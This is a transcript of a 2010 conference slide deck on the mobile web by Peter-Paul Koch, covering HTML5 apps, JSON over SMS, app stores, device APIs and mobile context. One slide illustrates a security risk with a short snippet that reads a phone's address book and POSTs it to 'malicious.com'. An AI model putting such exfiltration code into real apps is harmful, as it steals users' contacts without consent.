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JSON over SMS
- 1. JSON over SMS and other cool stories from the mobile world Peter-Paul Koch (ppk) http://quirksmode.org http://twitter.com/ppk Front Trends, 22 Oct 2010 Hell is other browsers - Sartre
- 2. The desktop web Boring! - Only five browsers - with only one viewport each - that support nearly everything - Even IE? Yes, even IE.
- 4. The Mobile Web Exciting! - Fifteen browsers and counting - ranging from great to lousy - at least two viewports each - Interesting new bugs - About three times as many users as the desktop web (eventually) - Different context
- 6. iPhone 3G 2008 – 700 euros 2010 – 250 euros 2018 – 10 euros?
- 8. The Mobile Web 2018 – for everybody? The fisherman might like a little app that keeps track of prices in various towns – maybe he can discover some patterns.
- 9. The Mobile Web And he may want to impress his friends. He may even want to share it. But suppose he has a Nokia, and his friend a Samsung.
- 10. The Mobile Web He will just send the app via Bluetooth and it will work whatever phone receives it...
- 11. The Mobile Web This is NOT futurology. I've done it. I moved a W3C widget from Symbian to Windows Mobile. And it worked ... almost. Granted, it's not easy yet. - technical differences - lousy user interface
- 12. HTML5 apps So the fashion-conscious fisherman of 2018 will share apps via Bluetooth. What kind of apps? HTML5 apps. They are the future of the mobile web. Because web apps work everywhere. Native app only works on one platform. Why bother with only one platform?
- 13. HTML5 apps What is an HTML5 app? - One core app written in HTML, CSS, and JavaScript - Deployed to several mobile platforms - If it can't be deployed it's still a website. (This includes desktop browsers.) http://www.quirksmode.org/blog/archives/2010/03/html5_apps.html
- 14. HTML5 apps What is an HTML5 app? The HTML, CSS, and JavaScript files are stored on the device so that when the user opens the app again he doesn't have to download them just the data (via Ajax or otherwise) Important on lousy connections
- 15. HTML5 apps Deployment right now - W3C Widget (bada, Vodafone, Opera, Symbian, BlackBerry) - Palm webOS app - iPhone appcached site - Phonegap (iPhone, Android, BlackBerry, Symbian, webOS) http://uxebu.com/blog/2010/02/15/eventninja-a-mobile-cross- platform-app/
- 16. HTML5 apps Deployment right now We need an automated deployment systen. Upload web core to service, and it will return all the different formats you need. Stopgap solution; only for the next few years.
- 17. HTML5 apps Deployment in the future Bluetooth. Or the web. With Nokia, Samsung, and RIM supporting the format, the other platform vendors will have to comply. Eventually.
- 18. HTML5 apps - data So the fashion-conscious fisherman of 2018 will use HTML5 apps. HTML5 apps will need data. This data will likely be sent as JSON. - Light-weight - Already works everywhere
- 19. Receiving JSON data How will he receive the JSON? - Wifi? Unlikely – it's expensive to set up, especially for a fisherman. - Mobile data connection? Possible, but expensive. Besides, it's pull-only.
- 20. JSON over SMS How will he receive the JSON? I think it will be over SMS: - only way of pushing data; sometimes there will be urgent messages of price fluctuations. - service wants to make money, too. Premium SMS already exists everywhere.
- 21. JSON over SMS To: fisherman024 towns: {town1: {prices:{fish1:0.88, fish2:1.34, fish3:0.79}, town2: {prices: {fish1:0.63; fish2:1.19; fish3:1.13}}, date: 221018 Notice syntax error? No quotes. Takes too much space for an SMS; 26 characters in this example. (Forgive me, Douglas)
- 22. Monetisation But wait a minute. - The fisherman pays for the SMSs he receives. - He can share the app freely with anyone, though. What will that do to monetisation?
- 23. Monetisation With HTML5 apps and JSON over SMS (or similar techniques) we don't need the app stores any more! We'll pay for the content, and not for the app itself. (This would work for many apps out there right now.)
- 24. App stores You know how many app stores there are nowadays? At least 41
- 26. App stores This is getting ridiculous. Why do we need app stores anyway? - Discoverability - Device APIs - Monetisation
- 27. Discoverability How can you be discovered if tens of thousands of other apps scream for attention, too? Solution: marketing campaign which costs a hell of a lot of money and is unattainable for average dev Or being a Big Brand already
- 28. Device APIs Meant for accessing the camera, address book, accelerometer, GPS, and other phone functions. device.phone.call(device.addressBook['mom']) Current browsers don't support them yet, except geolocation. So we need native apps – for now.
- 29. Device APIs But if I receive an app by Bluetooth how am I going to know it won't steal my address book? var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); Serious security issue here.
- 30. Monetisation The operators will conquer the payment market because they already bill the user; and a credit card is not necessary Problem: they're so bloody slow
- 31. WAC WAC: shared APIs for many operators around the world, for device APIs and also for mobile payments Problem: WAC unites 48 operators who have to agree about everything. You get the picture.
- 32. End of the app stores “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.” - Eric Meyer We're getting there.
- 33. HTML5 apps conclusion So HTML5 apps will conquer the world, because they will work everywhere. They may get their data as JSON over SMS. They will make the app stores obsolete. Cool, isn't it? Let's review more possibilities.
- 34. Web servers In the future, your mobile phone might run a web server over Bluetooth. Especially useful at conferences when the wifi doesn't work. Or to establish contact with strangers (Bluetooth already works that way).
- 35. JavaScript events Fun game: invent mobile JS events - ononline and onoffline - onorientationchange - onshake - oncameraopen - onmove (GPS) - onphonecall - oncompasspointnorth - etc.
- 36. Establishing context The mobile context is going to be massively important. With desktop computers, or even laptops, you're pretty certain that the user is sitting somewhere; most likely with a table to put the computer on. She's not moving.
- 37. Establishing context With mobile this context CAN BE massively different. - Walk on street - On a train - Or sitting in a chair or on a sofa at home How do we know what the context is?
- 38. Establishing context GPS data is the obvious solution. But one data point is not enough. OK, the user is on the streets and not at home, but is she walking, running, in a bus, or sitting in a café?
- 39. Establishing context Maybe GPS should gather data automatically every ten minutes or so, and give this data to any app that asks. That will give us a true mobile context, because we can read out the user's speed.
- 40. Establishing context But: - privacy - battery life In other words, the user must be able to turn this function off. No big deal.
- 41. A final caveat I'm trying to predict the future here and predicting the future is not an exact science I could be totally wrong about absolutely everything. That's not the point, though.
- 42. A final caveat The point is that mobile will release a huge wave of high-level creativity creativity that I've started to miss on the “fixed web.” So make your own prediction and put it on Twitter (#ft2010)
- 43. Thank you! Interested? Join the Mobile Web mailing list http://tech.groups.yahoo.com/group/mobile-web/
- 44. Thank you! Questions? http://quirksmode.org http://twitter.com/ppk I'll post these slides on my site.